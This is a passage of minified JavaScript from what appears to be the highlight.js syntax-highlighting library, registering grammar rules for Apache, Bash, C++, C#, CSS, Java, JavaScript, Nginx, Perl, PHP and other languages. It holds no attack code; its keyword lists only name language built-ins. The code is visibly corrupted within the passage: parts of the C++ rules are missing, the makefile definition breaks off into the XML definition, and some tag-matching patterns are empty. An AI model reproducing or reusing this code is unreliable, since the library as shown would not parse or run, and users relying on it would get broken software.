a.c.push(n.PWM),a.c.push({cN:"doctag",b:"(?:TODO|FIXME|NOTE|BUG|XXX):",r:0}),a},n.CLCM=n.C_LINE_COMMENT_MODE=n.C("//","$"),n.CBCM=n.C_BLOCK_COMMENT_MODE=n.C("/\\*","\\*/"),n.HCM=n.HASH_COMMENT_MODE=n.C("#","$"),n.NM=n.NUMBER_MODE={cN:"number",b:n.NR,r:0},n.CNM=n.C_NUMBER_MODE={cN:"number",b:n.CNR,r:0},n.BNM=n.BINARY_NUMBER_MODE={cN:"number",b:n.BNR,r:0},n.CSSNM=n.CSS_NUMBER_MODE={cN:"number",b:n.NR+"(%|em|ex|ch|rem|vw|vh|vmin|vmax|cm|mm|in|pt|pc|px|deg|grad|rad|turn|s|ms|Hz|kHz|dpi|dpcm|dppx)?",r:0},n.RM=n.REGEXP_MODE={cN:"regexp",b:/\//,e:/\/[gimuy]*/,i:/\n/,c:[n.BE,{b:/\[/,e:/\]/,r:0,c:[n.BE]}]},n.TM=n.TITLE_MODE={cN:"title",b:n.IR,r:0},n.UTM=n.UNDERSCORE_TITLE_MODE={cN:"title",b:n.UIR,r:0},n.METHOD_GUARD={b:"\\.\\s*"+n.UIR,r:0},n.registerLanguage("apache",function(e){var t={cN:"number",b:"[\\$%]\\d+"};return{aliases:["apacheconf"],cI:!0,c:[e.HCM,{cN:"section",b:""},{cN:"attribute",b:/\w+/,r:0,k:{nomarkup:"order deny allow setenv rewriterule rewriteengine rewritecond documentroot sethandler errordocument loadmodule options header listen serverroot servername"},starts:{e:/$/,r:0,k:{literal:"on off all"},c:[{cN:"meta",b:"\\s\\[",e:"\\]$"},{cN:"variable",b:"[\\$%]\\{",e:"\\}",c:["self",t]},t,e.QSM]}}],i:/\S/}}),n.registerLanguage("bash",function(e){var t={cN:"variable",v:[{b:/\$[\w\d#@][\w\d_]*/},{b:/\$\{(.*?)}/}]},r={cN:"string",b:/"/,e:/"/,c:[e.BE,t,{cN:"variable",b:/\$\(/,e:/\)/,c:[e.BE]}]};return{aliases:["sh","zsh"],l:/\b-?[a-z\._]+\b/,k:{keyword:"if then else elif fi for while in do done case esac function",literal:"true false",built_in:"break cd continue eval exec exit export getopts hash pwd readonly return shift test times trap umask unset alias bind builtin caller command declare echo enable help let local logout mapfile printf read readarray source type typeset ulimit unalias set shopt autoload bg bindkey bye cap chdir clone comparguments compcall compctl compdescribe compfiles compgroups compquote comptags comptry compvalues dirs disable disown echotc echoti emulate fc fg float functions getcap getln history integer jobs kill limit log noglob popd print pushd pushln rehash sched setcap setopt stat suspend ttyctl unfunction unhash unlimit unsetopt vared wait whence where which zcompile zformat zftp zle zmodload zparseopts zprof zpty zregexparse zsocket zstyle ztcp",_:"-ne -eq -lt -gt -f -d -e -s -l -a"},c:[{cN:"meta",b:/^#![^\n]+sh\s*$/,r:10},{cN:"function",b:/\w[\w\d_]*\s*\(\s*\)\s*\{/,rB:!0,c:[e.inherit(e.TM,{b:/\w[\w\d_]*/})],r:0},e.HCM,r,{cN:"",b:/\\"/},{cN:"string",b:/'/,e:/'/},t]}}),n.registerLanguage("coffeescript",function(e){var t={keyword:"in if for while finally new do return else break catch instanceof throw try this switch continue typeof delete debugger super yield import export from as default await then unless until loop of by when and or is isnt not",literal:"true false null undefined yes no on off",built_in:"npm require console print module global window document"},r="[A-Za-z$_][0-9A-Za-z$_]*",a={cN:"subst",b:/#\{/,e:/}/,k:t},n=[e.BNM,e.inherit(e.CNM,{starts:{e:"(\\s*/)?",r:0}}),{cN:"string",v:[{b:/'''/,e:/'''/,c:[e.BE]},{b:/'/,e:/'/,c:[e.BE]},{b:/"""/,e:/"""/,c:[e.BE,a]},{b:/"/,e:/"/,c:[e.BE,a]}]},{cN:"regexp",v:[{b:"///",e:"///",c:[a,e.HCM]},{b:"//[gim]*",r:0},{b:/\/(?![ *])(\\\/|.)*?\/[gim]*(?=\W|$)/}]},{b:"@"+r},{sL:"javascript",eB:!0,eE:!0,v:[{b:"```",e:"```"},{b:"`",e:"`"}]}];a.c=n;var i=e.inherit(e.TM,{b:r}),s="(\\(.*\\))?\\s*\\B[-=]>",c={cN:"params",b:"\\([^\\(]",rB:!0,c:[{b:/\(/,e:/\)/,k:t,c:["self"].concat(n)}]};return{aliases:["coffee","cson","iced"],k:t,i:/\/\*/,c:n.concat([e.C("###","###"),e.HCM,{cN:"function",b:"^\\s*"+r+"\\s*=\\s*"+s,e:"[-=]>",rB:!0,c:[i,c]},{b:/[:\(,=]\s*/,r:0,c:[{cN:"function",b:s,e:"[-=]>",rB:!0,c:[c]}]},{cN:"class",bK:"class",e:"$",i:/[:="\[\]]/,c:[{bK:"extends",eW:!0,i:/[:="\[\]]/,c:[i]},i]},{b:r+":",e:":",rB:!0,rE:!0,r:0}])}}),n.registerLanguage("cpp",function(e){var t={cN:"keyword",b:"\\b[a-z\\d_]*_t\\b"},r={cN:"string",v:[{b:'(u8?|U|L)?"',e:'"',i:"\\n",c:[e.BE]},{b:/(?:u8?|U|L)?R"([^()\\ ]{0,16})\((?:.|\n)*?\)\1"/},{b:"'\\\\?.",e:"'",i:"."}]},a={cN:"number",v:[{b:"\\b(0b[01']+)"},{b:"(-?)\\b([\\d']+(\\.[\\d']*)?|\\.[\\d']+)(u|U|l|L|ul|UL|f|F|b|B)"},{b:"(-?)(\\b0[xX][a-fA-F0-9']+|(\\b[\\d']+(\\.[\\d']*)?|\\.[\\d']+)([eE][-+]?[\\d']+)?)"}],r:0},n={cN:"meta",b:/#\s*[a-z]+\b/,e:/$/,k:{"meta-keyword":"if else elif endif define undef warning error line pragma ifdef ifndef include"},c:[{b:/\\\n/,r:0},e.inherit(r,{cN:"meta-string"}),{cN:"meta-string",b:/<[^\n>]*>/,e:/$/,i:"\\n"},e.CLCM,e.CBCM]},i=e.IR+"\\s*\\(",s={keyword:"int float while private char catch import module export virtual operator sizeof dynamic_cast|10 typedef const_cast|10 const for static_cast|10 union namespace unsigned long volatile static protected bool template mutable if public friend do goto auto void enum else break extern using asm case typeid short reinterpret_cast|10 default double register explicit signed typename try this switch continue inline delete alignof constexpr decltype noexcept static_assert thread_local restrict _Bool complex _Complex _Imaginary atomic_bool atomic_char atomic_schar atomic_uchar atomic_short atomic_ushort atomic_int atomic_uint atomic_long atomic_ulong atomic_llong atomic_ullong new throw return and or not",built_in:"std string cin cout cerr clog stdin stdout stderr stringstream istringstream ostringstream auto_ptr deque list queue stack vector map set bitset multiset multimap unordered_set unordered_map unordered_multiset unordered_multimap array shared_ptr abort abs acos asin atan2 atan calloc ceil cosh cos exit exp fabs floor fmod fprintf fputs free frexp fscanf isalnum isalpha iscntrl isdigit isgraph islower isprint ispunct isspace isupper isxdigit tolower toupper labs ldexp log10 log malloc realloc memchr memcmp memcpy memset modf pow printf putchar puts scanf sinh sin snprintf sprintf sqrt sscanf strcat strchr strcmp strcpy strcspn strlen strncat strncmp strncpy strpbrk strrchr strspn strstr tanh tan vfprintf vprintf vsprintf endl initializer_list unique_ptr",literal:"true false nullptr NULL"},c=[t,e.CLCM,e.CBCM,a,r];return{aliases:["c","cc","h","c++","h++","hpp","hh","hxx","cxx"],k:s,i:"",k:s,c:["self",t]},{b:e.IR+"::",k:s},{v:[{b:/=/,e:/;/},{b:/\(/,e:/\)/},{bK:"new throw return else",e:/;/}],k:s,c:c.concat([{b:/\(/,e:/\)/,k:s,c:c.concat(["self"]),r:0}]),r:0},{cN:"function",b:"("+e.IR+"[\\*&\\s]+)+"+i,rB:!0,e:/[{;=]/,eE:!0,k:s,i:/[^\w\s\*&]/,c:[{b:i,rB:!0,c:[e.TM],r:0},{cN:"params",b:/\(/,e:/\)/,k:s,r:0,c:[e.CLCM,e.CBCM,r,a,t,{b:/\(/,e:/\)/,k:s,r:0,c:["self",e.CLCM,e.CBCM,r,a,t]}]},e.CLCM,e.CBCM,n]},{cN:"class",bK:"class struct",e:/[{;:]/,c:[{b://,c:["self"]},e.TM]}]),exports:{preprocessor:n,strings:r,k:s}}}),n.registerLanguage("cs",function(e){var t={keyword:"abstract as base bool break byte case catch char checked const continue decimal default delegate do double enum event explicit extern finally fixed float for foreach goto if implicit in int interface internal is lock long nameof object operator out override params private protected public readonly ref sbyte sealed short sizeof stackalloc static string struct switch this try typeof uint ulong unchecked unsafe ushort using virtual void volatile while add alias ascending async await by descending dynamic equals from get global group into join let on orderby partial remove select set value var where yield",literal:"null false true"},r={cN:"number",v:[{b:"\\b(0b[01']+)"},{b:"(-?)\\b([\\d']+(\\.[\\d']*)?|\\.[\\d']+)(u|U|l|L|ul|UL|f|F|b|B)"},{b:"(-?)(\\b0[xX][a-fA-F0-9']+|(\\b[\\d']+(\\.[\\d']*)?|\\.[\\d']+)([eE][-+]?[\\d']+)?)"}],r:0},a={cN:"string",b:'@"',e:'"',c:[{b:'""'}]},n=e.inherit(a,{i:/\n/}),i={cN:"subst",b:"{",e:"}",k:t},s=e.inherit(i,{i:/\n/}),c={cN:"string",b:/\$"/,e:'"',i:/\n/,c:[{b:"{{"},{b:"}}"},e.BE,s]},o={cN:"string",b:/\$@"/,e:'"',c:[{b:"{{"},{b:"}}"},{b:'""'},i]},l=e.inherit(o,{i:/\n/,c:[{b:"{{"},{b:"}}"},{b:'""'},s]});i.c=[o,c,a,e.ASM,e.QSM,r,e.CBCM],s.c=[l,c,n,e.ASM,e.QSM,r,e.inherit(e.CBCM,{i:/\n/})];var u={v:[o,c,a,e.ASM,e.QSM]},d=e.IR+"(<"+e.IR+"(\\s*,\\s*"+e.IR+")*>)?(\\[\\])?";return{aliases:["csharp","c#"],k:t,i:/::/,c:[e.C("///","$",{rB:!0,c:[{cN:"doctag",v:[{b:"///",r:0},{b:"\x3c!--|--\x3e"},{b:""}]}]}),e.CLCM,e.CBCM,{cN:"meta",b:"#",e:"$",k:{"meta-keyword":"if else elif endif define undef warning error line region endregion pragma checksum"}},u,r,{bK:"class interface",e:/[{;=]/,i:/[^\s:,]/,c:[e.TM,e.CLCM,e.CBCM]},{bK:"namespace",e:/[{;=]/,i:/[^\s:]/,c:[e.inherit(e.TM,{b:"[a-zA-Z](\\.?\\w)*"}),e.CLCM,e.CBCM]},{cN:"meta",b:"^\\s*\\[",eB:!0,e:"\\]",eE:!0,c:[{cN:"meta-string",b:/"/,e:/"/}]},{bK:"new return throw await else",r:0},{cN:"function",b:"("+d+"\\s+)+"+e.IR+"\\s*\\(",rB:!0,e:/\s*[{;=]/,eE:!0,k:t,c:[{b:e.IR+"\\s*\\(",rB:!0,c:[e.TM],r:0},{cN:"params",b:/\(/,e:/\)/,eB:!0,eE:!0,k:t,r:0,c:[u,r,e.CBCM]},e.CLCM,e.CBCM]}]}}),n.registerLanguage("css",function(e){var t={b:/(?:[A-Z\_\.\-]+|--[a-zA-Z0-9_-]+)\s*:/,rB:!0,e:";",eW:!0,c:[{cN:"attribute",b:/\S/,e:":",eE:!0,starts:{eW:!0,eE:!0,c:[{b:/[\w-]+\(/,rB:!0,c:[{cN:"built_in",b:/[\w-]+/},{b:/\(/,e:/\)/,c:[e.ASM,e.QSM]}]},e.CSSNM,e.QSM,e.ASM,e.CBCM,{cN:"number",b:"#[0-9A-Fa-f]+"},{cN:"meta",b:"!important"}]}}]};return{cI:!0,i:/[=\/|'\$]/,c:[e.CBCM,{cN:"selector-id",b:/#[A-Za-z0-9_-]+/},{cN:"selector-class",b:/\.[A-Za-z0-9_-]+/},{cN:"selector-attr",b:/\[/,e:/\]/,i:"$"},{cN:"selector-pseudo",b:/:(:)?[a-zA-Z0-9\_\-\+\(\)"'.]+/},{b:"@(font-face|page)",l:"[a-z-]+",k:"font-face page"},{b:"@",e:"[{;]",i:/:/,c:[{cN:"keyword",b:/\w+/},{b:/\s/,eW:!0,eE:!0,r:0,c:[e.ASM,e.QSM,e.CSSNM]}]},{cN:"selector-tag",b:"[a-zA-Z-][a-zA-Z0-9_-]*",r:0},{b:"{",e:"}",i:/\S/,c:[e.CBCM,t]}]}}),n.registerLanguage("diff",function(e){return{aliases:["patch"],c:[{cN:"meta",r:10,v:[{b:/^@@ +\-\d+,\d+ +\+\d+,\d+ +@@$/},{b:/^\*\*\* +\d+,\d+ +\*\*\*\*$/},{b:/^\-\-\- +\d+,\d+ +\-\-\-\-$/}]},{cN:"comment",v:[{b:/Index: /,e:/$/},{b:/={3,}/,e:/$/},{b:/^\-{3}/,e:/$/},{b:/^\*{3} /,e:/$/},{b:/^\+{3}/,e:/$/},{b:/\*{5}/,e:/\*{5}$/}]},{cN:"addition",b:"^\\+",e:"$"},{cN:"deletion",b:"^\\-",e:"$"},{cN:"addition",b:"^\\!",e:"$"}]}}),n.registerLanguage("http",function(e){var t="HTTP/[0-9\\.]+";return{aliases:["https"],i:"\\S",c:[{b:"^"+t,e:"$",c:[{cN:"number",b:"\\b\\d{3}\\b"}]},{b:"^[A-Z]+ (.*?) "+t+"$",rB:!0,e:"$",c:[{cN:"string",b:" ",e:" ",eB:!0,eE:!0},{b:t},{cN:"keyword",b:"[A-Z]+"}]},{cN:"attribute",b:"^\\w",e:": ",eE:!0,i:"\\n|\\s|=",starts:{e:"$",r:0}},{b:"\\n\\n",starts:{sL:[],eW:!0}}]}}),n.registerLanguage("ini",function(e){var t={cN:"string",c:[e.BE],v:[{b:"'''",e:"'''",r:10},{b:'"""',e:'"""',r:10},{b:'"',e:'"'},{b:"'",e:"'"}]};return{aliases:["toml"],cI:!0,i:/\S/,c:[e.C(";","$"),e.HCM,{cN:"section",b:/^\s*\[+/,e:/\]+/},{b:/^[a-z0-9\[\]_\.-]+\s*=\s*/,e:"$",rB:!0,c:[{cN:"attr",b:/[a-z0-9\[\]_\.-]+/},{b:/=/,eW:!0,r:0,c:[e.C(";","$"),e.HCM,{cN:"literal",b:/\bon|off|true|false|yes|no\b/},{cN:"variable",v:[{b:/\$[\w\d"][\w\d_]*/},{b:/\$\{(.*?)}/}]},t,{cN:"number",b:/([\+\-]+)?[\d]+_[\d_]+/},e.NM]}]}]}}),n.registerLanguage("java",function(e){var t="false synchronized int abstract float private char boolean var static null if const for true while long strictfp finally protected import native final void enum else break transient catch instanceof byte super volatile case assert short package default double public try this switch continue throws protected public private module requires exports do",r={cN:"number",b:"\\b(0[bB]([01]+[01_]+[01]+|[01]+)|0[xX]([a-fA-F0-9]+[a-fA-F0-9_]+[a-fA-F0-9]+|[a-fA-F0-9]+)|(([\\d]+[\\d_]+[\\d]+|[\\d]+)(\\.([\\d]+[\\d_]+[\\d]+|[\\d]+))?|\\.([\\d]+[\\d_]+[\\d]+|[\\d]+))([eE][-+]?\\d+)?)[lLfF]?",r:0};return{aliases:["jsp"],k:t,i:/<\/|#/,c:[e.C("/\\*\\*","\\*/",{r:0,c:[{b:/\w+@/,r:0},{cN:"doctag",b:"@[A-Za-z]+"}]}),e.CLCM,e.CBCM,e.ASM,e.QSM,{cN:"class",bK:"class interface",e:/[{;=]/,eE:!0,k:"class interface",i:/[:"\[\]]/,c:[{bK:"extends implements"},e.UTM]},{bK:"new throw return else",r:0},{cN:"function",b:"([À-ʸa-zA-Z_$][À-ʸa-zA-Z_$0-9]*(<[À-ʸa-zA-Z_$][À-ʸa-zA-Z_$0-9]*(\\s*,\\s*[À-ʸa-zA-Z_$][À-ʸa-zA-Z_$0-9]*)*>)?\\s+)+"+e.UIR+"\\s*\\(",rB:!0,e:/[{;=]/,eE:!0,k:t,c:[{b:e.UIR+"\\s*\\(",rB:!0,r:0,c:[e.UTM]},{cN:"params",b:/\(/,e:/\)/,k:t,r:0,c:[e.ASM,e.QSM,e.CNM,e.CBCM]},e.CLCM,e.CBCM]},r,{cN:"meta",b:"@[A-Za-z]+"}]}}),n.registerLanguage("javascript",function(e){var t="[A-Za-z$_][0-9A-Za-z$_]*",r={keyword:"in of if for while finally var new function do return void else break catch instanceof with throw case default try this switch continue typeof delete let yield const export super debugger as async await static import from as",literal:"true false null undefined NaN Infinity",built_in:"eval isFinite isNaN parseFloat parseInt decodeURI decodeURIComponent encodeURI encodeURIComponent escape unescape Object Function Boolean Error EvalError InternalError RangeError ReferenceError StopIteration SyntaxError TypeError URIError Number Math Date String RegExp Array Float32Array Float64Array Int16Array Int32Array Int8Array Uint16Array Uint32Array Uint8Array Uint8ClampedArray ArrayBuffer DataView JSON Intl arguments require module console window document Symbol Set Map WeakSet WeakMap Proxy Reflect Promise"},a={cN:"number",v:[{b:"\\b(0[bB][01]+)"},{b:"\\b(0[oO][0-7]+)"},{b:e.CNR}],r:0},n={cN:"subst",b:"\\$\\{",e:"\\}",k:r,c:[]},i={b:"html`",e:"",starts:{e:"`",rE:!1,c:[e.BE,n],sL:"xml"}},s={b:"css`",e:"",starts:{e:"`",rE:!1,c:[e.BE,n],sL:"css"}},c={cN:"string",b:"`",e:"`",c:[e.BE,n]};n.c=[e.ASM,e.QSM,i,s,c,a,e.RM];var o=n.c.concat([e.CBCM,e.CLCM]);return{aliases:["js","jsx"],k:r,c:[{cN:"meta",r:10,b:/^\s*['"]use (strict|asm)['"]/},{cN:"meta",b:/^#!/,e:/$/},e.ASM,e.QSM,i,s,c,e.CLCM,e.CBCM,a,{b:/[{,]\s*/,r:0,c:[{b:t+"\\s*:",rB:!0,r:0,c:[{cN:"attr",b:t,r:0}]}]},{b:"("+e.RSR+"|\\b(case|return|throw)\\b)\\s*",k:"return throw case",c:[e.CLCM,e.CBCM,e.RM,{cN:"function",b:"(\\(.*?\\)|"+t+")\\s*=>",rB:!0,e:"\\s*=>",c:[{cN:"params",v:[{b:t},{b:/\(\s*\)/},{b:/\(/,e:/\)/,eB:!0,eE:!0,k:r,c:o}]}]},{cN:"",b:/\s/,e:/\s*/,skip:!0},{b://,sL:"xml",c:[{b:/<[A-Za-z0-9\\._:-]+\s*\/>/,skip:!0},{b:/<[A-Za-z0-9\\._:-]+/,e:/(\/[A-Za-z0-9\\._:-]+|[A-Za-z0-9\\._:-]+\/)>/,skip:!0,c:[{b:/<[A-Za-z0-9\\._:-]+\s*\/>/,skip:!0},"self"]}]}],r:0},{cN:"function",bK:"function",e:/\{/,eE:!0,c:[e.inherit(e.TM,{b:t}),{cN:"params",b:/\(/,e:/\)/,eB:!0,eE:!0,c:o}],i:/\[|%/},{b:/\$[(.]/},e.METHOD_GUARD,{cN:"class",bK:"class",e:/[{;=]/,eE:!0,i:/[:"\[\]]/,c:[{bK:"extends"},e.UTM]},{bK:"constructor get set",e:/\{/,eE:!0}],i:/#(?!!)/}}),n.registerLanguage("json",function(e){var t={literal:"true false null"},r=[e.QSM,e.CNM],a={e:",",eW:!0,eE:!0,c:r,k:t},n={b:"{",e:"}",c:[{cN:"attr",b:/"/,e:/"/,c:[e.BE],i:"\\n"},e.inherit(a,{b:/:/})],i:"\\S"},i={b:"\\[",e:"\\]",c:[e.inherit(a)],i:"\\S"};return r.splice(r.length,0,n,i),{c:r,k:t,i:"\\S"}}),n.registerLanguage("makefile",function(e){var t={cN:"variable",v:[{b:"\\$\\("+e.UIR+"\\)",c:[e.BE]},{b:/\$[@%`]+/}]}]}]};return{aliases:["html","xhtml","rss","atom","xjb","xsd","xsl","plist","wsf"],cI:!0,c:[{cN:"meta",b:"",r:10,c:[{b:"\\[",e:"\\]"}]},e.C("\x3c!--","--\x3e",{r:10}),{b:"<\\!\\[CDATA\\[",e:"\\]\\]>",r:10},{cN:"meta",b:/<\?xml/,e:/\?>/,r:10},{b:/<\?(php)?/,e:/\?>/,sL:"php",c:[{b:"/\\*",e:"\\*/",skip:!0},{b:'b"',e:'"',skip:!0},{b:"b'",e:"'",skip:!0},e.inherit(e.ASM,{i:null,cN:null,c:null,skip:!0}),e.inherit(e.QSM,{i:null,cN:null,c:null,skip:!0})]},{cN:"tag",b:"|$)",e:">",k:{name:"style"},c:[t],starts:{e:"",rE:!0,sL:["css","xml"]}},{cN:"tag",b:"|$)",e:">",k:{name:"script"},c:[t],starts:{e:"<\/script>",rE:!0,sL:["actionscript","javascript","handlebars","xml","vbscript"]}},{cN:"tag",b:"",c:[{cN:"name",b:/[^\/><\s]+/,r:0},t]}]}}),n.registerLanguage("markdown",function(e){return{aliases:["md","mkdown","mkd"],c:[{cN:"section",v:[{b:"^#{1,6}",e:"$"},{b:"^.+?\\n[=-]{2,}$"}]},{b:"<",e:">",sL:"xml",r:0},{cN:"bullet",b:"^\\s*([*+-]|(\\d+\\.))\\s+"},{cN:"strong",b:"[*_]{2}.+?[*_]{2}"},{cN:"emphasis",v:[{b:"\\*.+?\\*"},{b:"_.+?_",r:0}]},{cN:"quote",b:"^>\\s+",e:"$"},{cN:"code",v:[{b:"^```w*s*$",e:"^```s*$"},{b:"`.+?`"},{b:"^( {4}|\t)",e:"$",r:0}]},{b:"^[-\\*]{3,}",e:"$"},{b:"\\[.+?\\][\\(\\[].*?[\\)\\]]",rB:!0,c:[{cN:"string",b:"\\[",e:"\\]",eB:!0,rE:!0,r:0},{cN:"link",b:"\\]\\(",e:"\\)",eB:!0,eE:!0},{cN:"symbol",b:"\\]\\[",e:"\\]",eB:!0,eE:!0}],r:10},{b:/^\[[^\n]+\]:/,rB:!0,c:[{cN:"symbol",b:/\[/,e:/\]/,eB:!0,eE:!0},{cN:"link",b:/:\s*/,e:/$/,eB:!0}]}]}}),n.registerLanguage("nginx",function(e){var t={cN:"variable",v:[{b:/\$\d+/},{b:/\$\{/,e:/}/},{b:"[\\$\\@]"+e.UIR}]},r={eW:!0,l:"[a-z/_]+",k:{literal:"on off yes no true false none blocked debug info notice warn error crit select break last permanent redirect kqueue rtsig epoll poll /dev/poll"},r:0,i:"=>",c:[e.HCM,{cN:"string",c:[e.BE,t],v:[{b:/"/,e:/"/},{b:/'/,e:/'/}]},{b:"([a-z]+):/",e:"\\s",eW:!0,eE:!0,c:[t]},{cN:"regexp",c:[e.BE,t],v:[{b:"\\s\\^",e:"\\s|{|;",rE:!0},{b:"~\\*?\\s+",e:"\\s|{|;",rE:!0},{b:"\\*(\\.[a-z\\-]+)+"},{b:"([a-z\\-]+\\.)+\\*"}]},{cN:"number",b:"\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}(:\\d{1,5})?\\b"},{cN:"number",b:"\\b\\d+[kKmMgGdshdwy]*\\b",r:0},t]};return{aliases:["nginxconf"],c:[e.HCM,{b:e.UIR+"\\s+{",rB:!0,e:"{",c:[{cN:"section",b:e.UIR}],r:0},{b:e.UIR+"\\s",e:";|{",rB:!0,c:[{cN:"attribute",b:e.UIR,starts:r}],r:0}],i:"[^\\s\\}]"}}),n.registerLanguage("objectivec",function(e){var t=/[a-zA-Z@][a-zA-Z0-9_]*/,r="@interface @class @protocol @implementation";return{aliases:["mm","objc","obj-c"],k:{keyword:"int float while char export sizeof typedef const struct for union unsigned long volatile static bool mutable if do return goto void enum else break extern asm case short default double register explicit signed typename this switch continue wchar_t inline readonly assign readwrite self @synchronized id typeof nonatomic super unichar IBOutlet IBAction strong weak copy in out inout bycopy byref oneway __strong __weak __block __autoreleasing @private @protected @public @try @property @end @throw @catch @finally @autoreleasepool @synthesize @dynamic @selector @optional @required @encode @package @import @defs @compatibility_alias __bridge __bridge_transfer __bridge_retained __bridge_retain __covariant __contravariant __kindof _Nonnull _Nullable _Null_unspecified __FUNCTION__ __PRETTY_FUNCTION__ __attribute__ getter setter retain unsafe_unretained nonnull nullable null_unspecified null_resettable class instancetype NS_DESIGNATED_INITIALIZER NS_UNAVAILABLE NS_REQUIRES_SUPER NS_RETURNS_INNER_POINTER NS_INLINE NS_AVAILABLE NS_DEPRECATED NS_ENUM NS_OPTIONS NS_SWIFT_UNAVAILABLE NS_ASSUME_NONNULL_BEGIN NS_ASSUME_NONNULL_END NS_REFINED_FOR_SWIFT NS_SWIFT_NAME NS_SWIFT_NOTHROW NS_DURING NS_HANDLER NS_ENDHANDLER NS_VALUERETURN NS_VOIDRETURN",literal:"false true FALSE TRUE nil YES NO NULL",built_in:"BOOL dispatch_once_t dispatch_queue_t dispatch_sync dispatch_async dispatch_once"},l:t,i:""}]}]},{cN:"class",b:"("+r.split(" ").join("|")+")\\b",e:"({|$)",eE:!0,k:r,l:t,c:[e.UTM]},{b:"\\."+e.UIR,r:0}]}}),n.registerLanguage("perl",function(e){var t="getpwent getservent quotemeta msgrcv scalar kill dbmclose undef lc ma syswrite tr send umask sysopen shmwrite vec qx utime local oct semctl localtime readpipe do return format read sprintf dbmopen pop getpgrp not getpwnam rewinddir qqfileno qw endprotoent wait sethostent bless s|0 opendir continue each sleep endgrent shutdown dump chomp connect getsockname die socketpair close flock exists index shmgetsub for endpwent redo lstat msgctl setpgrp abs exit select print ref gethostbyaddr unshift fcntl syscall goto getnetbyaddr join gmtime symlink semget splice x|0 getpeername recv log setsockopt cos last reverse gethostbyname getgrnam study formline endhostent times chop length gethostent getnetent pack getprotoent getservbyname rand mkdir pos chmod y|0 substr endnetent printf next open msgsnd readdir use unlink getsockopt getpriority rindex wantarray hex system getservbyport endservent int chr untie rmdir prototype tell listen fork shmread ucfirst setprotoent else sysseek link getgrgid shmctl waitpid unpack getnetbyname reset chdir grep split require caller lcfirst until warn while values shift telldir getpwuid my getprotobynumber delete and sort uc defined srand accept package seekdir getprotobyname semop our rename seek if q|0 chroot sysread setpwent no crypt getc chown sqrt write setnetent setpriority foreach tie sin msgget map stat getlogin unless elsif truncate exec keys glob tied closedirioctl socket readlink eval xor readline binmode setservent eof ord bind alarm pipe atan2 getgrent exp time push setgrent gt lt or ne m|0 break given say state when",r={cN:"subst",b:"[$@]\\{",e:"\\}",k:t},a={b:"->{",e:"}"},n={v:[{b:/\$\d/},{b:/[\$%@](\^\w\b|#\w+(::\w+)*|{\w+}|\w+(::\w*)*)/},{b:/[\$%@][^\s\w{]/,r:0}]},i=[e.BE,r,n],s=[n,e.HCM,e.C("^\\=\\w","\\=cut",{eW:!0}),a,{cN:"string",c:i,v:[{b:"q[qwxr]?\\s*\\(",e:"\\)",r:5},{b:"q[qwxr]?\\s*\\[",e:"\\]",r:5},{b:"q[qwxr]?\\s*\\{",e:"\\}",r:5},{b:"q[qwxr]?\\s*\\|",e:"\\|",r:5},{b:"q[qwxr]?\\s*\\<",e:"\\>",r:5},{b:"qw\\s+q",e:"q",r:5},{b:"'",e:"'",c:[e.BE]},{b:'"',e:'"'},{b:"`",e:"`",c:[e.BE]},{b:"{\\w+}",c:[],r:0},{b:"-?\\w+\\s*\\=\\>",c:[],r:0}]},{cN:"number",b:"(\\b0[0-7_]+)|(\\b0x[0-9a-fA-F_]+)|(\\b[1-9][0-9_]*(\\.[0-9_]+)?)|[0_]\\b",r:0},{b:"(\\/\\/|"+e.RSR+"|\\b(split|return|print|reverse|grep)\\b)\\s*",k:"split return print reverse grep",r:0,c:[e.HCM,{cN:"regexp",b:"(s|tr|y)/(\\\\.|[^/])*/(\\\\.|[^/])*/[a-z]*",r:10},{cN:"regexp",b:"(m|qr)?/",e:"/[a-z]*",c:[e.BE],r:0}]},{cN:"function",bK:"sub",e:"(\\s*\\(.*?\\))?[;{]",eE:!0,r:5,c:[e.TM]},{b:"-\\w\\b",r:0},{b:"^__DATA__$",e:"^__END__$",sL:"mojolicious",c:[{b:"^@@.*",e:"$",cN:"comment"}]}];return r.c=s,{aliases:["pl","pm"],l:/[\w\.]+/,k:t,c:a.c=s}}),n.registerLanguage("php",function(e){var t={b:"\\$+[a-zA-Z_-ÿ][a-zA-Z0-9_-ÿ]*"},r={cN:"meta",b:/<\?(php)?|\?>/},a={cN:"string",c:[e.BE,r],v:[{b:'b"',e:'"'},{b:"b'",e:"'"},e.inherit(e.ASM,{i:null}),e.inherit(e.QSM,{i:null})]},n={v:[e.BNM,e.CNM]};return{aliases:["php","php3","php4","php5","php6","php7"],cI:!0,k:"and include_once list abstract global private echo interface as static endswitch array null if endwhile or const for endforeach self var while isset public protected exit foreach throw elseif include __FILE__ empty require_once do xor return parent clone use __CLASS__ __LINE__ else break print eval new catch __METHOD__ case exception default die require __FUNCTION__ enddeclare final try switch continue endfor endif declare unset true false trait goto instanceof insteadof __DIR__ __NAMESPACE__ yield finally",c:[e.HCM,e.C("//","$",{c:[r]}),e.C("/\\*","\\*/",{c:[{cN:"doctag",b:"@[A-Za-z]+"}]}),e.C("__halt_compiler.+?;",!1,{eW:!0,k:"__halt_compiler",l:e.UIR}),{cN:"string",b:/<<<['"]?\w+['"]?$/,e:/^\w+;?$/,c:[e.BE,{cN:"subst",v:[{b:/\$\w+/},{b:/\{\$/,e:/\}/}]}]},r,{cN:"keyword",b:/\$this\b/},t,{b:/(::|->)+[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/},{cN:"function",bK:"function",e:/[;{]/,eE:!0,i:"\\$|\\[|%",c:[e.UTM,{cN:"params",b:"\\(",e:"\\)",c:["self",t,e.CBCM,a,n]}]},{cN:"class",bK:"class interface",e:"{",eE:!0,i:/[:\(\$"]/,c:[{bK:"extends implements"},e.UTM]},{bK:"namespace",e:";",i:/[\.']/,c:[e.UTM]},{bK:"use",e:";",c:[e.UTM]},{b:"=>"},a,n]}}),n.registerLanguage("properties",function(e){var t="[ \\t\\f]*",r="("+t+"[:=]"+t+"|[ \\t\\f]+)",a="([^\\\\\\W:= \\t\\f\\n]|\\\\.)+",n="([^\\\\:= \\t\\f\\n]|\\\\.)+",i={e:r,r:0,starts:{cN:"string",e:/$/,r:0,c:[{b:"\\\\\\n"}]}};return{cI:!0,i:/\S/,c:[e.C("^\\s*[!#]","$"),{b:a+r,rB:!0,c:[{cN:"attr",b:a,endsParent:!0,r:0}],starts:i},{b:n+r,rB:!0,r:0,c:[{cN:"meta",b:n,endsParent:!0,r:0}],starts:i},{cN:"attr",r:0,b:n+t+"$"}]}}),n.registerLanguage("python",function(e){var t={keyword:"and elif is global as in 